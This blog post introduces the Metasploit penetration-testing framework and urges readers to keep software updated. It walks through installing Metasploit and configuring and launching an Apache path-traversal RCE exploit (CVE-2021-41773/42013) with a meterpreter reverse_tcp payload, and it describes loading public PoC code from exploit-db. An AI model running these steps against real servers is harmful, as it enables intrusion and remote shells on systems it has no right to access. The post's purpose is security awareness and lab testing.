【简介】Metasploit框架【用于渗透测试】

您好,
我是系统解决方案部门的基础设施工程师 Wasshoiman。请
查看我之前的文章

有一款名为 Metasploit Framework 的知名开源软件,
它是一款用于“渗透测试”的工具,通过实际利用中间件和其他系统中的漏洞来评估安全性的稳健性。

这一次,我想准备一个可以使用上述工具的环境。

如果你仔细观察这些工具,你或许就能体会到继续使用存在漏洞的版本所带来的危险,而本文的目的就是让你意识到这一点。

*虽然这是一个渗透测试工具,但请务必在您自行准备的验证环境中使用它。
滥用此工具属于违法行为,请自行承担使用风险。

Metasploit Framework 安装

和往常一样,环境搭建在CentOS7 的 bento box

首先,文档安装工具

[root@localhost ~]# curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall [root@localhost ~]# chmod 755 msfinstall [root@localhost ~]# ./msfinstall

安装完成后,您可以使用以下命令启动它。
运行该命令后,将显示一个交互式 shell。

[root@localhost ~]# /opt/metasploit-framework/bin/msfconsole ・ ・ 省略 ・ msf6 >

这很容易。

不妨一试

您可以使用搜索命令查看工具中已有的漏洞。
我们先来搜索 Apache 漏洞。

msf6 > search httpd 匹配模块 ================ # 名称 披露日期 排名 检查 描述 - ---- --------------- ---- ----- ----------- 0 exploit/linux/http/alcatel_omnipcx_mastercgi_exec 2007-09-09 manual 否 Alcatel-Lucent OmniPCX Enterprise masterCGI 任意命令执行 1 exploit/multi/http/apache_normalize_path_rce 2021-05-10 excellent 是 Apache 2.4.49/2.4.50 遍历 RCE 2 auxiliary/scanner/http/apache_normalize_path 2021-05-10 normal 否 Apache 2.4.49/2.4.50 遍历 RCE scanner 3 auxiliary/scanner/http/mod_negotiation_brute normal 否 Apache HTTPD mod_negotiation 文件名Bruter 4 auxiliary/scanner/http/mod_negotiation_scanner normal No Apache HTTPD mod_negotiation Scanner 5 exploit/windows/http/apache_chunked 2002-06-19 good Yes Apache Win32 Chunked Encoding 6 exploit/linux/http/dlink_dspw110_cookie_noauth_exec 2015-06-12 normal Yes D-Link Cookie Command Execution ・ ・ ・

出现了一个包含 20 多个漏洞的长列表。
我将以最上面的“exploit/multi/http/apache_normalize_path_rce”漏洞为例。
如果文档根目录之外的文件没有被“require all denied”保护,并且显式启用了 CGI,则此漏洞允许远程执行命令。

使用 use 命令选择相关的漏洞。

msf6 > use exploit/multi/http/apache_normalize_path_rce # 如果显示类似这样的信息,则表示正常 msf6 exploit(multi/http/apache_normalize_path_rce) >

根据漏洞的不同,需要输入的选项也不同,因此您可以使用 show options 命令来查看它们。
让我们来看一个实际操作示例。

msf6 exploit(multi/http/apache_normalize_path_rce) > show options 模块选项 (exploit/multi/http/apache_normalize_path_rce): 名称 当前设置 是否必需 描述 ---- --------------- -------- ----------- CVE CVE-2021-42013 是 要利用的漏洞(已接受:CVE-2021-41773,CVE-2021-42013) DEPTH 5 是 路径遍历深度 Proxies 否 格式为 type:host:port[,type:host:port][...] 的代理链 RHOSTS 是 目标主机,参见 https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 443 是 目标端口 (TCP) SSL true 否 为出站连接协商 SSL/TLS TARGETURI /cgi-bin 是 基本路径 VHOST 否 HTTP服务器虚拟主机有效载荷选项(linux/x64/meterpreter/reverse_tcp): 名称 当前设置 是否必需 说明 ---- --------------- -------- ----------- LHOST 是 监听地址(可以指定接口) LPORT 4444 是 监听端口 攻击目标: ID 名称 -- ---- 0 自动(Dropper)

如果“必填”列标记为“是”,则必须填写相应选项。
其中,“RHOSTS(目标 IP)”和“LHOST(攻击者 IP)”为必填项,默认留空。(其他选项有默认值。)您
必须手动填写这些项目。

# IP 地址合适。msf6 exploit(multi/http/apache_normalize_path_rce) > set RHOST 192.168.1.1 RHOST => 192.168.1.1 msf6 exploit(multi/http/apache_normalize_path_rce) > set LHOST 192.168.1.2 LHOST => 192.168.1.2

你只需要运行它就行了。

msf6 exploit(multi/http/apache_normalize_path_rce) > exploit

从外部获取并执行易受攻击的代码

该漏洞的利用代码已公开用于演示目的(称为 PoC)
,因此可以立即用于测试。

这次,我们将从 Offensive Security 提供的以下网站获取代码,该公司以 Kali Linux 而闻名:
https://www.exploit-db.com/
点击目标页面上的下载按钮即可获取 PoC 代码。

将下载的代码复制到本地计算机,并将其放置在 Metasploit 的 modules/exploit 目录下。

在我的环境中,路径如下:
/opt/metasploit-framework/embedded/framework/modules/exploits。
放置完成后,需要重新加载。

[root@localhost exploits]# /opt/metasploit-framework/bin/msfconsole msf6 > reload_all

由于 Metasploit 本身是用 Ruby 编写的,我原以为该模块也必须用 Ruby 编写,但看来 Python 或 Golang 也是可以接受的。

概括

是的,你明白情况有多糟糕吗?

就像专利一样,其内容必须公开才能让公众认识到它的存在,因此恶意人员很容易测试漏洞。

因此,继续使用旧版本的工具是危险的,
所以定期更新工具是理所当然的。

(这就是启蒙活动。结束。)

如果您觉得这篇文章有帮助,请点赞!
15
加载中...
15 票,平均:1.00 / 115
11,760
X Facebook 哈特纳书签 口袋

写这篇文章的人

关于作者

基础设施瓦舒伊人

隶属于系统解决方案部门。
我很喜欢它,每天都研究它,幸运的是,Beyond 捡到了它。
自从我开始考虑从眼镜换成隐形眼镜以来,已经九年了。